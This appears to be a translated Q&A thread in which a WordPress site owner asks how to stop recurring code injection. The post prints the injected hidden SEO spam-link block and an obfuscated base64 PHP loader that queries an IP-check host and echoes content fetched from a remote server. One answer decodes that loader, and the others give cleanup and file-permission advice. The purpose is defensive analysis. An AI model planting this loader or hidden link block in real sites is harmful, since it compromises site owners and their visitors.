¿Cómo evitar agregar códigos maliciosos que se encuentran en el sitio web pirateado de WordPress?

6

Tengo un sitio web creado con WordPress y utilicé WooCommerce como el complemento del carrito. Recientemente lo encontré pirateado, ya que respondía a una solicitud de AJAX con un código HTML, que debería recibir un objeto JSON como respuesta. Al revisar los archivos de origen, no se reemplazaron los archivos, pero encontré algunos códigos inusuales adjuntos al final dentro de 4 archivos php, incluyendo

  • wp-blog-header.php en el directorio raíz
  • bookmark.php en el directorio wp-includes
  • header.php y footer.php en el directorio del tema

A continuación se muestra el código que encontré.

echo '<html>
<div style=\'left: -3565px; position: absolute; top: -4812px\'>
<a href="http://pdfagent.info/Youth-Soccer-Jerseys-Wholesale.html">Youth Soccer Jerseys Wholesale</a> 
<a href="http://ryanarnoldrocks.com/Buy-NFL-Jerseys-Wholesale.html">Buy NFL Jerseys Wholesale</a> 
<a href="http://bodywrapsofplano.com/Cheap-Raider-Jerseys.html">Cheap Raider Jerseys</a> 
<a href="http://mobilfotosplus.com/Coach-Canada-Stores-Online.html">Coach Canada Stores Online</a> 
<a href="http://www.officialauthenticcoltsshop.com/Super-Bowl-Andrew-Luck-Jersey">Womens Andrew Luck Limited Super Bowl Jersey</a> 
<a href="http://picklex20.com/Jerseys-For-Cheap.html">Jerseys For Cheap</a> 
<a href="http://sevyamultimedia.com/Cheap-Youth-Soccer-Jerseys.html">Cheap Youth Soccer Jerseys</a> 
<a href="http://www.rdbutlerlaw.com/Cycling-Jerseys-Cheap.html">Cycling Jerseys Cheap</a> 
<a href="http://www.patriotsauthenticofficialonline.com/Super-Bowl-Rob-Gronkowski-Jersey">Kids Rob Gronkowski Pink Jersey</a> 
<a href="http://www.suehenry.biz/Coach-Handbags-Marketing-Strategy.html">Coach Handbags Marketing Strategy</a> 
<a href="http://seo-toronto.net/Coach-Purses-Numbers.html">Coach Purses Numbers</a> 
<a href="http://wegototheo.com/Wholesale-Baseball-Jerseys.html">Wholesale Baseball Jerseys</a> 
<a href="http://www.seahawksofficialonlinestore.com/Super-Bowl-Bobby-Wagner-Jersey">Youth Bobby Wagner Seahawks Jersey</a> 
<a href="http://kitf.org/Coach-Glasses-Outlet.html">Coach Glasses Outlet</a> 
<a href="http://www.nflpackersofficialstore.com/Super-Bowl-Randall-Cobb-Jersey">Randall Cobb Navy Super Bowl Jersey</a> 
<a href="http://rncsolutions.com/Cheap-Hockey-Jerseys-China.html">Cheap Hockey Jerseys China</a> 
<a href="http://www.qualityhomeservices.com/Coach-Factory-Kenosha-Wi.html">Coach Factory Kenosha Wi</a> 
<a href="http://www.proland.com/Wholesale-Hockey-Jerseys.html">Wholesale Hockey Jerseys</a> 
<a href="http://www.tamarinent.com/Buy-Jerseys-Cheap.html">Buy Jerseys Cheap</a> 
<a href="http://www.masterthedashdiet.com/Cheap-Dallas-Stars-Jerseys.html">Cheap Dallas Stars Jerseys</a> 
<a href="http://www.pappasdelaney.com/Cheap-Kids-NFL-Jerseys.html">Cheap Kids NFL Jerseys</a> 
<a href="http://pourlespme.com/Cheap-Baseball-Jerseys-From-China.html">Cheap Baseball Jerseys From China</a> 
<a href="http://studiovideo.com/Coach-Factory-National-Harbor.html">Coach Factory National Harbor</a> 
</div></html>'; 

Y encontré el siguiente código que no es wordpress.

function q0($h1){$w2=curl_init();curl_setopt($w2,CURLOPT_URL,$h1);curl_setopt($w2,CURLOPT_RETURNTRANSFER,TRUE);$i3=curl_exec($w2);return $i3;}$h1=base64_decode('aHR0cDovL3d3dy5ncmVlbmhlYXJ0dWFlLmNvbS93cC1pbmNsdWRlcy9saWNlbnNlLnR4dA==');$d4=file_get_contents(base64_decode('aHR0cDovL2lwLm11c2VvdmlydHVhbGUubmV0L2NnaS1iaW4vaXBjaGVjay5jZ2k/aXA9').$_SERVER[base64_decode('UkVNT1RFX0FERFI=')]);if($_SERVER[base64_decode('UkVRVUVTVF9VUkk=')]==base64_decode('Lw==') ||$_SERVER[base64_decode('UkVRVUVTVF9VUkk=')]==base64_decode('L2luZGV4LnBocA==')){if($d4){if($d4==base64_decode('ZmFsc2U=') or $d4==base64_decode('Zm9yYmlkZGVu') or $d4==base64_decode('Rm9yYmlkZGVu')){echo '';}else{echo file_get_contents($h1);exit;}}else{$d4=q0(base64_decode('aHR0cDovL2lwLm11c2VvdmlydHVhbGUubmV0L2NnaS1iaW4vaXBjaGVjay5jZ2k/aXA9').$_SERVER[base64_decode('UkVNT1RFX0FERFI=')]);if($d4==base64_decode('ZmFsc2U=') or $d4==base64_decode('Zm9yYmlkZGVu') or $d4==base64_decode('Rm9yYmlkZGVu')){echo '';}else{echo q0($h1);exit;}}}

Limpié esos archivos y cambié las contraseñas de wp-admin, cPanel y FTP, pero el código anterior apareció en esos archivos, pero esta vez con diferentes enlaces.

Todavía estoy intentando averiguar si hay una secuencia de comandos dentro del servidor que explota los archivos de origen.

¿Hay algún complemento o algo que deba usar para evitar esto?

    
pregunta Shehan Thamel 07.02.2015 - 07:06
fuente

3 respuestas

2

El hecho de que el código que se colocó en su sitio coloque específicamente los enlaces en una división fuera de la pantalla me lleva a creer que este es el trabajo de un estafador de SEO que está explotando una vulnerabilidad que es muy probable que esté en uno de Sus complementos o tal vez en su configuración de comentarios. Si tiene complementos que no han tenido actualizaciones en mucho tiempo, puede ser un buen lugar para comenzar a buscar.

Un poco de una opción nuclear es descargar una copia nueva de WordPress y cualquier complemento que no haya personalizado. Además, deseará tener una copia limpia de todo lo que está personalizado (incluido su tema y cualquier complemento personalizado). Es de esperar que tenga copias de seguridad automáticas de su base de datos porque probablemente necesitará restaurar eso también.

Una vez que esté seguro de tener una versión limpia de todo el sitio, debe elegir un tiempo de inactividad para eliminar su sitio y cargar la versión limpia. Digo que elimine su sitio porque solo cargar la versión limpia no sobrescribirá ningún archivo adicional que pueda estar escondido en algún lugar.

Dependiendo de su conexión a Internet (y del tamaño de su sitio), quizás pueda hacer esto con relativa rapidez.

Si tiene un archivo grande de imágenes cargadas (etc.) que supondrá la parte más molesta de esta opción nuclear porque es la parte menos probable de su sitio para realizar una copia de seguridad. Puede elegir dejar sus cargas en su lugar y esperar que no haya archivos maliciosos allí. Si lo detuviste todo excepto tus subidas y encontraste que el problema persiste, es posible que hayas aislado el problema en esa carpeta, pero no es la ubicación más probable.

Por supuesto, también debes cambiar todas las contraseñas de administrador (no sé cuántos usuarios tienes, pero es posible que esto deba extenderse a todos los usuarios).

Al final, incluso poner en funcionamiento / reconstruir todo el sitio aún no es una garantía, ya que podría haber una vulnerabilidad en uno de sus complementos que aún no se ha revisado.

EDITAR:

Aquí está la función que publicaste después de que se decodificó y se sangró para su lectura

function q0($h1)
{
    $w2=curl_init();
    curl_setopt($w2,CURLOPT_URL,$h1);
    curl_setopt($w2,CURLOPT_RETURNTRANSFER,TRUE);
    $i3=curl_exec($w2);
    return $i3;
}
$h1=http://www.greenheartuae.com/wp-includes/license.txt;
$d4=file_get_contents('http://ip.museovirtuale.net/cgi-bin/ipcheck.cgi?ip='.$_SERVER['REMOTE_ADDR']);
if($_SERVER['REQUEST_URI']=='/' ||$_SERVER['REQUEST_URI']=='/index.php')
{
    if($d4)
    {
        if($d4==false or $d4=='forbidden' or $d4=='Forbidden')
        {
            echo '';
        }
        else
        {
            echo file_get_contents($h1);
            exit;
        }
    }
    else
    {
        $d4=q0('http://ip.museovirtuale.net/cgi-bin/ipcheck.cgi?ip='.$_SERVER['REMOTE_ADDR']);
        if($d4==false or $d4=='forbidden' or $d4=='Forbidden')
        {
            echo '';
        }
        else
        {
            echo q0($h1);
            exit;
        }
    }
}

Como puede ver, está usando cURL para obtener algunos datos de otro servidor. Lo más probable es que los datos sean los enlaces que está viendo y es por eso que los enlaces pueden cambiar. La naturaleza de los enlaces me lleva a mi suposición original de que este es el trabajo de un estafador de SEO que busca respaldos de enlaces (aunque todavía podría ser un truco para otra cosa). Además, puedes ver las direcciones web a las que está enlazando. Uno de los sitios parece ser otro sitio de WordPress mientras que el otro fue detectado por mi antivirus y es claramente una mala noticia.

    
respondido por el KnightHawk 10.04.2015 - 20:54
fuente
0

Lo que quieres hacer es encontrar una manera de verificar si los archivos se están modificando en el sistema. Para hacer eso, necesita tener un proceso que verifique la integridad de los archivos de manera oportuna, ya sea a través de 1. un monitor de integridad de archivos como tripwire, 2. un proceso como auditd que esté enganchado al kernel, o 3. algún otro proceso que no se parece a ninguno de los métodos tradicionales aquí.

Una vez que haya cambiado, tendrá la difícil tarea de averiguar qué usuario lo hizo, si se trata de algún otro método que no sea a través de la web o algo completamente distinto.

    
respondido por el munchkin 07.02.2015 - 07:37
fuente
0

Puede que no te ayude a descubrir qué hizo esta acción, pero puedes suponer que viene del servidor web (posiblemente PHP).

Lo que puede hacer es proteger estos archivos contra modificaciones, modificando el modo de solo lectura y asignándolos a un usuario que no sea el usuario del servidor web.

Por ejemplo, en un cuadro de Linux, podría hacer algo como:

chown root:root *.php
chmod 644 *.php

Esto evitará que un pirata informático modifique estos archivos desde el servidor web y puede usarse como protección temporal mientras investigas el problema.

    
respondido por el blue112 08.04.2015 - 12:40
fuente

Lea otras preguntas en las etiquetas